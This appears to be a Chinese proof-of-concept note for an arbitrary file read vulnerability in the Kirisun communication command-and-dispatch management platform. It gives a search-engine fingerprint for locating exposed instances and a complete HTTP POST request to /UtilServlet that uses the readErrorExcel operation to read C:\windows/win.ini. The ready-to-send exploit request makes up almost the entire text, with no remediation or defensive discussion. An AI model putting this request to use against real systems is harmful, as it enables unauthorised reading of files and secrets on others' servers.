科立讯通信指挥调度管理平台任意文件读取漏洞

fid="hFEQ5vzhL23ZFO9A4jocTg=="

POST /UtilServlet HTTP/1.1

Host:

Upgrade-Insecure-Requests: 1

Cache-Control: no-cache

Pragma: no-cache

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Accept-Language: zh-CN,zh;q=0.9

operation=readErrorExcel&fileName=C:\windows/win.ini